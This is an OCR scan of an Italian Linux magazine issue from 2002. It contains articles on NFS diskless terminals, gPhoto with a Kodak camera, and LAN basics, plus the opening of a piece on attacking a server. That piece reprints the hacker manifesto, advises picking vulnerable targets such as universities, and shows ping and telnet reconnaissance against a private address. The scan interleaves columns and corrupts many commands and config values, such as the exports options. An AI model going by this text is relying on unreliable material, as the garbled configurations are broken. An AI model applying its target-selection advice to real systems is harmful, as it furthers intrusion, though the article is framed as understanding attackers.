e ‘nfsaddrs’ sintassi 
‘nfsaddrs=f[ip_del_client] 
‘lip_del_server]:[ip_del_ 
router]:[netmask]:Inome 
_host]:[ethernet]' forni- 
sce informazioni utili al 
completamento del col- 
legamento di rete. Un 
esempio di parametri di 
configurazione può 
essere del tipo: 


root=/dev/nfs 
nfsroot=192.168.1.1:/ 
tftpboot/192.168.1.2 


(e'convenzione utilizzare la 
directory 'tftpboot' come 
mount point del file 

system, rimando al Diskless 
HowTo per maggiori 
informazioni a riguardo) 


nfsaddrs= 
192.168.1.2:192.168.1.1 
:192.168.1.1:255.255.25 
5.0:diskless:eth0: 


Cosi' facendo si indica al 
kernel di utilizzare le infor- 
mazioni passate via NFS dal 
server (192.168.1.1) e al 
client di utilizzare la direc- 
tory ‘tftpboot' come punto 
di mount per il proprio file- 
system: questi piccoli 
accorgimenti dovrebbero 
permettere alla macchina 
server e al diskless di inte- 
ragire. Abbiamo utilizzato il 
device virtuale ‘/dev/nfs' 
per permettere al kernel di 
fare un mount via rete. 
Unico problema: il device 
non esiste! Poco male, 
generiamo un nuovo devi- 
ce, in modo da permettere 
a LILO di avere un oggetti- 
vo punto di riferimento. 
Utilizziamo il comando 
‘mknod' in questo modo: 


mknod /dev/boot255 c 0 
255 
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PASSAGGIO KERNEL VIA NFS 
CLIENT MONTA FILE SYSTEM 


INIZIALIZZAZIONE SISTEMA 


Figura 2 


Passaggi da compiere per ilpassaggio dei dati in una rete 


diskless. 


Avremmo cosi creato un 
device a caratteri avente 
numero primario 0 e nume- 
ro secondario 255. È ora 
necessario decidere come 
si vuole avviare il kernel. 
Esistono quattro differenti 
approcci al problema: 


1 utilizzo del comando 
rdev (sconsigliato poi- 
che' la maggior parte 
delle informazioni devo- 
no passare attraverso 
DHCP -escludo l'utilizzo 
del protocollo BOOTP 
oramai obsoleto-); 

2. utilizzo di LILO; 

3. utilizzo di SYSLINUX (si 
possono avere maggiori 
informazioni a riguardo 
consultando l'articolo 
sulla creazione di distri- 
buzioni linux embedded 
pubblicato il numero 
SCOrso; 

4. utilizzo di LOADLIN (non 
considero il suo utilizzo, 
richiede sistema Dos). 


| parametri da inserire 
all'interno del file di 
configurazione di LILO (ho 
deciso di utilizzare questo 
come boot loader) 


ee 
si 
o è pa 
7000 tvarzo 2002 


Yetc/lilo.conf' dovranno 
evidenziare al sistema: 
l'immagine da utilizzare in 
fase di boot (image=/disk- 
less), il device utilizzato 
(/dev/boot255) e informazio- 
ni utili al completamento 
della configurazione 
(append). Le stringhe da 
aggiungere al file ‘ilo.conf' 
saranno: 


image=/diskless 
label=diskless 
root=/dev/boot255 
append="root=/dev/nfs 
nfsroot=192.168.1.1:/ 


Figura 4 


Parametri da inserire nel Kernel per permettere al sistema di 


gestire terminali privi di hard disk. 


tftpboot/192.168.1.2 
nfsaddrs= 
192.168.1.2:192.168.1.1: 
192.168.1.1:255.255.255 
.0:diskless:eth0: " 


NFS lato server 


Dopo aver deciso i servizi 
che dovranno essere attivi 
sulle macchine diskless 
(non considerate superficia- 
le questa analisi, perche' da 
questo dipenderà la struttu- 
ra della directory radice 
NFS) dobbiamo organizzare 


LETTURA FILE CONFIGURAZIONE DHCPD.CONF 


RICONOSCIMENTO MAC ADDRESS 


INVIO REPLY A TERMINALE DISKLESS 


Figura 3 


Stadi del passaggio di informazioni tra pc client e pc server. 


la directory che conterrà il 
file system da esportare. 
Qualora si dovesse ammini- 
strare una rete con più 
macchine diskless e' neces- 
sario suddividere la direc- 
tory 'tftpboot' (direttorio 
contenete il file system che 
verrà montato dai terminali) 
in tante sotto directory 
quanti sono i terminali disk- 
less. Ponendo di avere due 
terminali diskless 
(192.168.1.2 e 192.168.1.3) 
la directory ‘tftoboot' sarà 
composta dalle sotto direc- 
tory: 

192.168.1.2 192.168.1.3 
Ipotizzando l'equivalenza 
dei terminali (uguale 
hardware) e' possibile repli- 
care la directory origine sia 
per rendere più snella la 
struttura che per farci 
risparmiare del tempo, 
ricordandoci pero' che alcu- 
ne directory non potranno 
avere natura standardizzata. 
Il comando da utilizzare per 
la replica della directory 
sarà: 


cp -1dpR /tftpboot/base 
/tftpboot/ip_nuovo_termi- 
nale_diskless 


Cosa inserire all'interno 
della directory radice? 
Dovrà essere ricostruita una 
struttura similare a quella 
della nostra distribuzione, 
quindi inseriremo le direc- 
tory contenenti: i binari 
(/bin), i device (/dev/), i file 
di configurazione e gli rc.d 
(/etc), le home degli utenti 
(home), le librerie (/lib), 
/proc, la home dell'ammini- 
stratore di sistema (/root), 
/sbin, /usr, /var e quella con- 
tenete i file temporali 
(/tmp). Per un approfondi- 
mento a riguardo rimando 
alla lettura dell'articolo 
‘Creazione di distribuzioni 
embedded' apparso qual- 
che numero fa sulla rivista. 
Attenzione durante la fase 
di creazione della directory 
var'. Per semplificare il 
compito consiglio di seguire 
lo schema riportato in 
Figura 7. Non potrà essere 
generato un link tra la direc- 
tory /var' del primo client 
diskless (792.168.1.2) e 
quella degli altri 
(192.168.1.3): questa con- 
tiene file (amministrativi, 
temporanei) che non 
potranno avere caratteristi- 
ca uniforme. Risolviamo il 
problema creando una 


directory ‘base’ dalla quale 
partiranno i link verso quelle 
dei terminali diskless (in 
pratica questa non sara' 
direttamente utilizzata da 
nessuna macchina). Qui 
arriva la parte difficile. 
Come si comporta la distri- 
buzione in nostro possesso 
in fase di avvio? Se avete 
veramente intenzione di 
creare delle strutture disk- 
less consiglio di rivolgere 
l'attenzione verso quelle 
distribuzioni che facilitano il 
compito ad un'amministra- 
zione di una rete di questo 
tipo (Redhat, Suse e 
Debian). 

Rimando agli HowTo ufficia- 
li per avere degli script di 
riferimento. 


Configurazioni 


È opportuno mettere mano 
ad alcuni file di configura- 
zione (lato diskless, si fa 
riferimento ai file contenuti 
all'intero della directory radi- 
ce NFS 'tftoboot) in modo 
da consentire ai terminali 
diskless di fare un mount di 
tutte le directory necessarie 
all'inizializzazione del siste- 
ma. Il primo file a cui met- 


Figura 5 


Informazioni da aggiungere al file di configurazione di LILO. 


Figura 6 


Organizzazione della directory ‘tftpboot' (tante sottodirecto 
quanti terminali diskless). aebecni ha 


tere mano e' il file 
etc/fstab': questo defini- 
sce caratteristiche e direc- 
tory di collegamento dei 
diversi file system. Il file e' 
composto da record ed e' 
suddiviso in sette campi 
(ogni campo e' separato 
dall'altro da uno spazio) e 
conterrà, a seconda del 
campo: 


1. CAMPO: definizione del 

tipo di dispositivo o del 

file system 

CAMPO: definizione 

della directory che con- 

terrà il file system 

3. CAMPO: definizione del 
tipo di file system 

4. CAMPO: definizione di 
opzioni speciali 

5 CAMPO: definizione dei 
file system utilizzati 
come per il dump di dati 

6 CAMPO: definizione del- 
l'ordine in cui il pro- 
gramma 'fsck' dovra' 
controllare il file system 
( valore 0 se ‘fsck' non 
dovra' fare il controllo) 


N 


Un esempio di file ‘fstab' 
potrebbe essere del tipo: 


192.168.1.1:/tftpboot/ 
192.168.1.2 / nfs de- 
faults O 0 
none /proc proc defaults 
(oo) 
192.168.1.1:/usr / 
usr nfs ro 00 
192.168.1.1:/home 
/home nfs defaults 
00 


Qualora si volessero utiliz- 
zare unità a dischetti o cd- 
rom e' necessario aggiun- 
gere queste righe (deve 
essere rivista anche la 
struttura della nostra direc- 
tory ‘base’, aggiungendo la 
directory ‘mnt): 


/dev/fa0 /mnt/floppy 
ext user,noauto 0 0 
/dev/fd0 /mnt/a vfat 
user,noauto 0 0 
/dev/edrom /mnt/edrom 
iso9660 user, noauto, PO 
00 


Per rendere operativo il 
passaggio di dati via NFS 
dobbiamo permettere ai ter- 
minali diskless l'accesso al 
file system del pc server. 
Questo lo si ottiene confi- 
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Schema ad albero della directory /var. 


gurando a dovere il file 
/etc/exports' contenente 
informazioni a riguardo le 
porzioni di file system da 
concedere via NFS (utilizza- 
to dai demoni ‘mountd' e 
‘nfsd’). Il file e' composto 
da record che conterranno 
sia l'indicazione delle direc- 
tory che saranno condivise 
(in modo ricorsivo) sia l'indi- 
cazione degli host o delle 
reti a cui verrà garantito 
l'accesso. Numerose le 
opzioni che potranno esse- 
re utilizzate per consentire 


corrette politiche di restri- 
zione al file system condivi- 
so. Le opzioni utilizzabili 
sono: 


e ro/rw: accesso in sola 
lettura/accesso in lettura 
e scrittura; 

e  noaccess: nessuna con- 
divisione di una directory 
(utile per le sotto direc- 
tory); 

e link relative: trasforma- 
zione di link assoluti in 
link relativi; 

e link_absolute: manteni- 


Figura 8 
File di configurazione da modificare per rendere operativa la rete. 
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ro/rw Accesso al File system in sola lettura 
oppure in lettura e scrittura (rw) 


per proteggere sotto directory 
—- in link relativi 
i TUPEra 


root_squash/no_ Accesso negato ad utente root (nobody) 


root_squash 


oppure mancata trasformazione UID 


(no) 


Figura 9 
Schema delle opzioni utilizzabili nel file di configurazione 


‘exports'. 


mento stato link; 

e root squash/no_root_ 
squash: impedire acces- 
so ad utente ‘root’ (uten- 
te ‘root'trattato come 
utente ‘nobody) '/manca- 
ta trasformazione UID 
‘root’. 


Il file ‘exports' sarà del tipo: 


/tftpboot 192.168.1.0/ 
255.255.255.0(w,no_r00 
t_squash) /usr 
192.168.1.0/ 
255.255.255.0( 
ro, squash_uids=0-100, 
squash_gids=1-80) 
/home 192.168.1.0/ 
255.255.255.0(rw,n0_ 
root_squash) 
/lib 192.168.1.0/ 
255.255.255.0(r0, 
squash_uids=0-100, 
squash_gids=1-80) 
/bin 192.168.1.0/ 
255.255.255.0(r0, 
squash_uids=0-1 00, 
squash_gids=1-80) 
/sbin 192.168.1.0/ 
255.255.255.0(70, 
squash_uids=0-100, 
squash_gids=1-80) 
/ete 192.168.1.0/ 
255.255.255.0(r0, 
squash_uids=0-100, 
squash_gids=1-80) 


/var 192.168.1.0/ 
255.255.255.0(7ro0, 
squash_uids=0-100, 
squash_gids=1-80) 


Aggiungere la stringa 


/mnt 192.168.1.0/ 
255.255.255.0(ro, 
squash_uids=0-100, 
squash_gids=1-80) 


se si volessero usare floppy 
o cdrom. La rete diskless 
ora e pronta per essere 
testata: buon divertimento. 
Francesco Tornieri 
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Ormai possedere una 
macchina fotografica 
digitale non e piu un 
IUsso. 

Il mercato offre 
un'ampia gamma di 
prodotti adatti a tutte 
le tasche. 

Perche mai non 
provarne l'utilizzo in 
sistemi GNU/Linux? 
Sara mostruosamente 
complicato? 

No, a patto di sapere 
dove “mettere le 
mani”. 
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Sorridete... 
siete su Linux! 


In questo articolo vedremo come istruire il nostro 
pinguino preferito a riconoscere e utilizzare al meglio 
una macchina fotografica digitale, facendo anche una 


“prova su strada”. 


Software e 
macchine 
fotografiche 
digitali 

Bene, abbiamo deciso di 
acquistare una macchina 
fotografica digitale nuova 
fiammante, cosi da poter 
acquisire tutte le immagini 
che vogliamo, trasferirle 
sul nostro hard disk e 
magari pubblicarle sulla 
nostra pagina web. 
Ovviamente, essendo fieri 
utilizzatori di software 
libero, abbiamo la 
necessita’ che il nostro 
sistema GNU/Linux ci 
permetta di lavorare con il 
nostro nuovo acquisto 
senza problemi, quindi 
prima di lasciare che gli 
euro escano dalle nostre 
tasche cerchiamo di 
vedere quali sono i modelli 
supportati e di che 
software avremo bisogno 
per utilizzare tutte le 


i funzionalita’ che una 


moderna macchina 
fotografica digitale 


i. dispone. 


Compatibilità 


Grazie alla grande quantita’ 
di sviluppatori che lavorano 
al kernel di Linux, ormai la 
lista dell'hardware 
supportato si e 
notevolmente allargata, e 
cio° e dovuto anche 
all'introduzione, con le 
release 2.4.x, del supporto 
USB, necessario per 
connettere tutti | 
dispositivi dotati di questa 
interfaccia, come la 
stragrande maggioranza 
delle macchine 
fotografiche digitali. 

Il sito “Linux Hardware 
Database" (http://ihd. 
zdnet.com) e’ un buon 
riferimento e contiene 
report su circa un centinaio 


di macchine fotografiche 
diverse, ognuna con le 
relative specifiche 
tecniche, link a documenti 
utili e la possibilità di 
aggiungere commenti sul 
funzionamento. 


Il software 


La prima scelta per quanto 
riguarda il software ricade 
sicuramente su gPhoto 
(http://www.gphoto. org), 
un programma veramente 
completo, distribuito sotto 
licenza GPL. 

| punti di forza di gPhoto 
sono senza dubbio il gran 
numero di modelli 
supportati (la versione 2.0 
infatti ne vanta ben piu’ di 
100!), la semplicita’ d'uso 
e l'intuitivita’ 
dell'interfaccia. Inoltre e 
possibile anche esportare 
direttamente in HTML le 
immagini, creando in pochi 
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clic un album fotografico 
interattivo pronto per Tara VT Bara ESCE. condire 


essere pubblicato sul web. 

Per quanto riguarda slolsle] <>] =lel8/e] 2/ c/5[+/4/6/6] ©| 2/9] 
possibili alternative, su | [image index | 100.0s24yrc [roo-os234e9]| 

Freshmeat se” 

(http://\www.freshmeat.net) 
e’ presente una sezione 
appositamente dedicata 
alle macchine fotografiche 
digitali che comprende piu 
di una ventina di progetti, 
tra cui il lettore 
insoddisfatto da gPhoto 
trovera’ certamente il 
software piu’ adatto alle 
proprie esigenze. 


Prova su strada 


Per la nostra “prova su 
Strada” e° stata presa in 
cosiderazione una 
macchina fotografica Figura i 

digitale Kodak 280 Zoom gPhoto, uno dei piu completi programmi per la gestione di una macchina fotografica digitale. 
(grazie Tommi!), dotata di 
cavo USB per la 
connessione al PC. Il 
kernel utilizzato e’ la File Camera View Image Select  Configure 


versione 2.4.17, su i cogle <|3| #|8|9|s| A e|5]+|+|8]9] Ki 219] 
sistema Debian GNU/Linux 

3.0 (“woody”). Image index | 

Innanzitutto eÈ necessario 
ricompilare il kernel 
includendo il supporto USB 
se non presente (come nel 
mio caso). 

Ho quindi selezionato le 
opzioni: 


Browse Directory | post Process 


CONFIG_USB=y 
(supporto USB generico) 


CONFIG_USB_ 
DEVICEFS=y 

(per un corretto 
riconoscimento del bus 
USB nel filesystem /proc) 


CONFIG_USB_UHCI=m e Done getting index, Kodak DC280 4 Post Process | = alia 
CONFIG_USB_UHCI_ PALE TIME RM ] 


ALT=m Figura i 

(controller USB della Le anteprime delle foto scattate. 
CICIZI 

coeo0° 
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‘Colour Modifications: : AppIy( = Reset _J Always Apply “close 


Figura 3 


gPhoto mette a disposizione anche un tool per il bilanciamento 
dei colori. 
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{| Thumbnati 001 Triimbnati 002 Thumbnatt 003 
| thumbnatt-001. jpg tiaxmbnai-002. jpg ttumbnai1-003. ipg 


Thumbnail 004 
thumbnai)-004 pg 


|| Tiumbnati 006 
thumbnat 006. pg 


Thumbnai! 007 
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Figura 4 


usb/dceR800 c 180 80 


Dopo aver riavviato, 
abbiamo inserito uno dei 
due moduli per il controller 
USB (a posteriori si è 
avuto modo di vedere che 
entrambi funzionano 
correttamente), e infine si 
è inserito il modulo relativo 
alla macchina fotografica. 
Abbiamo scattato qualche 
foto in casa (grazie Chiara 
e Miki!), e connesso la 
macchina alla porta USB: 


Thumbnail 005 
ttrumbnail-005.pg 


Thumbrail 010 
thumbnail-010.jpg 


Con gPhoto e’ facile creare un album fotografico interattivo. 


scheda madre) 


CONFIG_USB_DC2XX=m 
(supporto per macchine 
fotografiche Kodak dc2xx) 


Dopodiche’, seguendo le 
indicazioni del file 


Documentation/usb/dc2xx. 
txt nella directory dei sor- 
genti del kernel, abbiamo 
provveduto a creare un file 
dispositivo con il seguente 
comando (da utente root): 


# mknod -m 0660 /dev/ 


subito e’ stata riconosciuta 
dal sistema, infatti l'output 
di dmesg conteneva le 
linee: 


hub.c: USB new device 
connect on bus2/1, assi- 
gned device number 13 


Consumer 


deRxx.c: USB Camera #0 
connected, major/minor 
180/80 


Si è quindi avviato gPhoto 
indicando il modello della 
macchina e il file- 
dispositivo in cui è 
mappata, abbiamo quindi 
scricato le anteprime delle 
fotografie, tramite il menu 
Camera -> Download 
Index-> Thumbnails. 

Dopo aver scelto le 
immagini che 
interessavano, abbiamo 
provato qualche tool che 
gPhoto mette a 
disposizione per l'editing 
delle immagini (prima di 
darle in pasto a Gimp 
naturalmente ;) : rotazione, 
ribaltamento, ridimensiona- 
mento e bilanciamento dei 
colori.Infine abbiamo 
selezionato File-> Export- 
>HTML Gallery e in pochi 
secondi abbiamo creato 
una pagina HTML con le 
anteprime cliccabili delle 
immagini scattate: 
veramente appagante! 


Conclusioni 


Abbiamo visto come 
utilizzare una macchina 
fotografica digitale in un 
sistema GNU/Linux non sia 
un problema, anche grazie 
al supporto USB presente 
nei kernel recenti, e a un 
programma valido e 
flessibile come gPhoto. 
Ora i limiti a cio. che 
possiamo realizzare sono 
solamente quelli della 
nostra fantasia, della 
nostra immaginazione e, 
soprattutto, della voglia di 
fotografare. 
Buoni clic! 

Giacomo Tenaglia 
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Scopriamo como 
miglioramo to prestazioni 


Scopo finale di questa 
mini guida è quello di 
arrivare ad avere una 
rete LAN collegata ad 
Internet, che permette 
di condividere un solo 
abbonamento fra 
diversi client per mezzo 
di un server DNS e un 
server PROXY, inoltre 
condivideremo anche 
l'Hard Disk del server 
linux e lo utilizzeremo 
come se fosse un Hard 
Disk in ambiente 
Windows attraverso la 
configurazione del 
demone SAMBA. 
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Creare 


una rete fra PC...... 


Vediamo insieme quali sono le componenti che ci 
permettono di creare una rete tra PC Linux e come 
scegliere gli strumenti adatti per realizzare la soluzione 
più confacente alle nostre esigenze. 


Cosa è una rete 


Il termine ‘rete’ (network) 
è spesso utilizzato in 
campo informatico, per 
definire il collegamento 
fisico di più postazioni di 
lavoro, i comuni PC, 
attraverso cavi o 
collegamenti wireless. 

Il collegamento può 
avvenire in diversi modi, 
può avere diverse 
dimensioni e soprattutto 
può utilizzare diversi 
protocolli di 
comunicazione. 

Lo scopo e il beneficio 
principale di effettuare un 
collegamento in rete di 
diverse postazioni è senza 
dubbio quello di 
condividere dati e 
applicazioni fra più utenti. 
Basta pensare al beneficio 
in termini di risparmio di 
tempo che si ha in un 
ufficio se gli addetti alla 
segreteria possono 
scambiarsi le lettere e i 
normali documenti di testo 


come le circolari senza 
copiarli sui floppy per 
stamparli da un PC ad un 
altro.Inoltre se riflettiamo 
sui benefici che ha portato 
Internet in termini di 


| studio, conoscenza e 


scambio dati in tutto il 
mondo, comprendiamo 
immediatamente la 
necessità di essere subito 
in ‘rete’. Nel resto 
dell'articolo e nelle 
successive puntate ci 
concentreremo sulle reti 
TCP/IP in ambiente misto, 
cioè fra postazioni 
Linux/WVindows. Tale scelta 
è obbligata, in quanto il 
protocollo TCP/IP è quello 
utilizzato da Internet, e 
quindi in tutto il mondo. 


Tipologie 
di rete 


Come già accennato 
esistono diversi tipi di rete 
in relazione alla topologia 


del collegamento, al 
protocollo utilizzato e 
all'estensione. 

Una prima classificazione è 
senza dubbio quella fra reti 
LAN, MAN e WAN. 

Cosa sono queste sigle? 


e LANè l'abbreviazione 
di Local Area Network, 
ovvero rete ad ambito 
locale. 


Per locale si intende che 
l'estensione dei 
collegamenti non supera le 
dimensioni dell'edificio che 
ospita i PC. Classici 
esempi di reti LAN sono 
quelli presenti negli uffici e 
nelle scuole. Solitamente 
la loro velocità è di 10 o 
100 Mb/s e il loro 
principale utilizzo è quello 
di permettere lo scambio 
locale di documenti ed 
eventualmente di 
condividere un accesso ad 
internet. 


e MAN è invece 


Ha r 
Consumer 


l'acronimo di 
Metropolitan Area 
Network, cioè rete con 
estensione 
metropolitana. 
Solitamente tali reti 
collegano diverse sedi 
all'interno della stessa 
città. 


Spesso una MAN è 
realizzata come 
interfacciamento di due o 
più LAN presenti nelle 
diverse sedi da collegare. 
Un esempio tipico è 
l'azienda che ha diverse 
sedi nella stessa città e 
che ha bisogno di un 
continuo scambio dati fra 
le sedi, magari per 
esigenze contabili o di 
sorveglianza. 


e WANè la sigla che 
identifica le reti 
geografiche, cioè le 
Wide Area Network. 
Tali reti uniscono città 
diverse, nazioni diverse 
e permettono di 


arrivare a grandissime 
velocità. 


Fatta una prima distinzione 
tra le tipologie di rete, 
possiamo concentrarci 
sulle LAN, che sono senza 
dubbio le reti 
maggiormente diffuse. 


Reti LAN 


Se parliamo di reti LAN 
dobbiamo avere chiaro 
alcuni concetti prima di 
proseguire. 

Innanzitutto la topologia di 
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rete che dobbiamo creare. 
Per topologia di rete 
intendiamo in che modo 


sono collegati fisicamente i 


vari nodi della rete. La 
terminologia delle reti è 
simile a quella utilizzata 


io 


e abus 
e astella 


Per le reti a BUS la 
filosofia di funzionamento 
è quella di avere un canale 
di comunicazione condiviso 


apeea 


ad accessi contemporanei. 
Un altro limite notevole di 
tale configurazione è che 
se si interrompe in un 
qualsiasi punto il BUS, 
rimangono sconnessi tutti i 
nodi. In tal caso è anche 
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L'immagine di una particolare scheda di rete PCI. 


nella teoria dei grafi, infatti 
per nodo di una rete si 
intende una postazione, un 
computer. Come per i 
grafi, anche le reti, in base 
alla loro topologia, hanno 
diverse capacità di 
trasmettere dati, cioè 
consentiranno un flusso 
massimo di dati. 

Senza dilungarci troppo in 
nozioni teoriche, 
accenneremo qui a 2 
possibili topologie di reti 
LAN che supportano il 
protocollo TCP/IP: 


fra tutti i PC, appunto il 
BUS, e di utilizzarlo in base 
alle proprie esigenze. In 
caso di accesso mentre il 
BUS è occupato da un'altra 
postazione, allora si 
procederà con l'attesa di 
un tempo random prima di 
ripetere l'operazione. 

Tale soluzione permette di 
arrivare ad una massima 
velocità di 10 Mb/s e ha il 
limite che all'aumentare 
del numero di postazioni 
collegate si genereranno 
sempre più conflitti dovuti 


difficile individuare il 
guasto, poiché risulta 
problematico stabilire a 
priori se l'anomalia è 
dovuta ad una scheda di 
rete o magari al cavo 0 
ancora ai connettori/ 
terminatori. 

La topologia a stella, 
invece, prevede un 
concentratore, di solito un 
HUB o uno SWITCH, al 
quale sono collegate tutte 
le postazioni. Il 
funzionamento base di 
questa soluzione prevede 


che ogni nodo comunica al 
concentratore i dati, e tali 
dati sono poi ripetuti in 
uscita a tutti gli altri nodi 
collegati. Sarà poi solo il 
PC “giusto” ad elaborarli. 
Fra i vantaggi di tale 
soluzione basti pensare al 
fatto che tutti gli HUB e gli 
SWITCH sono dotati di 
LED di funzionamento che 
indicano lo stato del 
collegamento verso ogni 
nodo, così da ridurre i 
tempi di individuazione dei 
guasti. In caso poi di 
interruzione di uno dei 
nodi, gli altri continueranno 
comunque a funzionare. 
Altro enorme vantaggio è 
che questa soluzione 
permette di arrivare a 
velocità di 100 Mb/s e 
oltre. 

Facciamo solo una breve 
parentesi sulla differenza 
fra HUB e SWITCH: 


e l'HUB non si preoccupa 
di vedere chi è il 
destinatario dei 
pacchetti che riceve, si 
preoccupa 
esclusivamente di 
smistate i diversi 
pacchetti, con il rischio 
che al crescere delle 
dimensioni, si generano 
conflitti e rallentamenti. 


e Gli SWITCH, invece, 
analizzano i pacchetti 
che ricevono, e li 
inoltrano solo ai 
destinatari, evitando 
così intasamenti nelle 
reti di grandi 
dimensioni. 
Ovviamente sarà la 
grandezza della rete, il 
budget a disposizione e 


una stima del traffico a 
far propendere la scelta 
per l'una o l'altra 
soluzione. 


Pianifichiamo 
la nostra rete 


Per poter parlare di rete 
abbiamo almeno bisogno 
di due postazioni, 
possibilmente una che 
dedicheremo 
esclusivamente a Linux. 
Per questo scopo andrà 
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collegarci con le nostre 
macchine Windows e/o 
Linux. 

Subito dopo avere scelto le 
postazioni da collegare 
dobbiamo scegliere che 
tipo di schede di rete 
montare. Solitamente si 
trovano sul mercato 
schede economiche 
intorno ai 20 €, che ci 
permettono di avere 
prestazioni soddisfacenti. 
E' il caso anche di 
scegliere se installare una 
rete con BUS a 10 Mb/s, o 
una rete 10/100 Mb/s a 
stella (in effetti se i PC da 


ONSUMEr 


BUS allora le schede di 
rete che acquisteremo 
avranno una terminazione 
cilindrica sulla loro parte 
posteriore. Le schede delle 
due postazioni dovranno 
allora essere collegate 
mediante dei connettori a 
‘T' con del cavo coassiale, 
e agli estremi esterni delle 
‘T' dovremo inserire dei 
terminatori per chiudere a 
livello elettrico il circuito di 
rete. 

Se invece decidiamo per 
l'installazione di una rete a 
10/100 Mb/s monteremo 
delle schede di rete con 


Ecco come si presenta un HUB. 


sicuramente bene anche 
un PC di vecchia 
generazione, per intenderci 
anche un vecchio Pentium 
133 Mhz o equivalente può 
fare al caso nostro come 
server di rete al quale 


collegare sono soltanto 2 
si può evitare di acquistare 
un HUB utilizzando un 
cavo di rete 
opportunamente 
preparato). 

Se optiamo per una rete a 


cavo di tipo RJ45 a 8 fili. 
Esistono diversi tipi cavo, 
le differenze sostanziali 
stanno nella schermatura e 
nella rigidità stessa del 
cavo. 

Se la nostra rete ha solo 
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due nodi, allora possiamo 
risparmiarci di acquistare 
un HUB e collegheremo 
direttamente i due PC 
tramite un cavo 
‘incrociato’, cioè mediante 
un'opportuna 
combinazione agli estremi 
degli otto fili interni. 

Se invece vogliamo 
rispettare la soluzione 
canonica o abbiamo 
intenzione di espandere la 
nostra rete installeremo un 
HUB/SWITCH e 


d w 


a TT ‘(€ 


dell'’HUB/SWITCH in 
corrispondenza delle porte 
occupate dai PC. 

Se le luci si accendono 
vuol dire che a livello 
elettrico non ci sono 
interruzioni nei 
collegamenti e possiamo 
procedere con le 
configurazioni, altrimenti 
bisogna controllare, magari 
con un tester, i cavi, ed 
eventualmente le schede 
di rete o l'HUB/SWITCH. 
Nel caso invece di una rete 


Indirizzi di rete 


In una rete TCP/IP 
dobbiamo attenerci a delle 
regole generali per 
assegnare gli indirizzi alle 
nostre postazioni. 

Cosa è un indirizzo IP? Si 
tratta di un identificativo 
unico che si assegna ad 
una scheda di rete per 
permettere di essere 
identificata in un network. 
Senza queste convenzioni 
non sarebbe possibile 
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in figura uno Switch della nota casa CISCO. 


collegheremo ad esso i 
due o più cavi dei 
computer in questione. 

La prima verifica da fare in 
questo caso è di vedere se 
si accendono le luci sul 
pannello frontale 
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a BUS facciamo attenzione 
a scegliere schede con un 
LED sul pannello 
posteriore, così almeno 
potremo constatare 
l'effettivo funzionamento 
dei collegamenti. 


raggiungere nessun host 
remoto su una rete. Un 
indirizzo IP è formato da 4 
Byte e una notazione 
universalmente utilizzata è 
quella di dividere tale 
indirizzo in 4 numeri 


compresi tra 1 e 255 
separati da un punto. 

Così facendo sono indirizzi 
validi, ad esempio, 
192.168.1.1, oppure 
10.0.0.32, etc.. 

Poiché anche su Internet si 
usano tali regole, ci sono 
due tipi di indirizzi IP, quelli 
pubblici e quelli privati. 

| termini pubblici e privati 
si riferiscono al fatto che 
gli indirizzi pubblici 
vengono utilizzati da server 
che sono raggiungibili 
dall'esterno e sono di 
solito riferiti a enti e 
organizzazioni che li hanno 
avuti in utilizzo dalle 
autorità competenti. 

Per indirizzi privati si 
intendono indirizzi che non 
si possono assegnare a 
server pubblici su Internet 
e che possono essere 
utilizzati per creare reti 
private. Nel nostro 
esempio sceglieremo la 
classe di indirizzi 10.0.0.0, 
che fa parte, ovviamente, 
di un gruppo di indirizzi 
privati. 


Conclusioni 


In questa prima parte 
introduttiva sulle reti 
abbiamo familiarizzato con 
alcuni concetti base di 
questa materia. Nei 
prossimi appuntamenti, 
vedremo come assegnare 
gli indirizzi IP alle diverse 
postazioni e inizieremo ad 
assaporare le potenzialità 
che le reti offrono. 
Alla prossima!! 

Carlo Stumpo 


Un primo attacco ad 


un Server 


Il problema della sicurezza dei sistemi informativi 

è uno dei temi che riscuotono più attenzione. La | 
diffusione di Linux ha fatto si che gran parte 
degli Hacker più agguerriti si dedicassero a fare 
tirocinio con questo sistema; Capire le tecniche e 
i metodi che guidano un hacker nella violazione 
dei sistemi può essere un ottimo punto di 
partenza per poterne prevedere le mosse 


Ora è questo il nostro mondo... il farci credere che lo fate per il 


mondo dell'elettrone e dello switch, nostro bene, e poi siamo noi i 

la bellezza del baud. Facciamo uso criminali. 

di un servizio gia esistente che non Si, io sono un criminale. 

costerebbe nulla se non fosse Il mio crimine è la mia curiosita". 
controllato da approfittatori ingordi, Il mio crimine è quello che i giurati 
e voi ci chiamate criminali. pensano e sanno non quello che 
Noi esploriamo... e ci chiamate guardano. 

criminali. Il mio crimine è quello di scovare 
Noi cerchiamo conoscenza... e ci qualche vostro segreto, qualcosa che 
chiamate criminali. non vi fara' mai dimenticare il mio 
INoi esistiamo senza colore di pelle, nome. 

nazionalità, credi religiosi e ci Io sono un hacker e questo è il mio 
chiamate criminali. manifesto. 

Voi costruite bombe atomiche, Potete anche fermare me, ma non 
finanziate guerre, uccidete, potete fermarci tutti... dopo tutto, 


ingannate e mentite e cercate di siamo tutti uguali. 


uesto è il di un'hacker. L'hacker è distorce le cose e quindi L'hacker penso che 
famoso come un bambino che l'hacker ora viene abbiate capito chi sia 
manifesto smonta il suo giocattolo classificato in due nette dopo aver letto il 
hacker scritto per capire come categorie: manifesto su citato, un 
da +++The Mentor+++ funziona... Sino a qui cracker è invece colui 
giorno 8/01/1986 e non c'è nulla di male, - Hacker che entra in sistemi 
ricorda la vera filosofia ma purtroppo la realtà - Cracker informatici per denaro, 
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Figura i 


Richiesta all’NMAP dello SynScan e del sistema operativo ospitato dal PC remoto. 


per distruggere la 
macchina vittima e 
comunque per motivi 
non inerenti quello 
puramente morale. 


Come si buca un 
sistema 
informatico? 
Scegliere la 
vittima. ... 


Innanzitutto si sceglie la 
vittima e fra le piu' 
ambite troviamo quelle 
più facilmente 
vulnerabili, (come le 
poco sicure università) 
e/o quelle con linee 
molto veloci. Da un bel 
po' di tempo a questa 
parte, c'è la moda di 


0000 


64 bytes from 192.168.0.1: 
| 64 bytes from 192.168.0.1: 


64 bytes from 192.168.0.1: 


| [root@www root]# ping 192.168.0.1 
PING 192.168.0.1 (192.168.0.1) from 192.168.0.1 : 


56(84) bytes of data. 
iemp_seg=0 ttl=255 
time=1.158 msec 
iemp_seg=1 ttl=255 
time=443 usec 
iemp_seg=2 ttl=255 
time=444 usec 


Tabella 1 


telnet 192.168.0.1 21 


[root@www root]# telnet 192.168.0.1 21 


| 

| 

| Trying 192.168.0.1... 
Connected to 192.168.0.1. 
Escape character is '/]'. 

| 

Î 


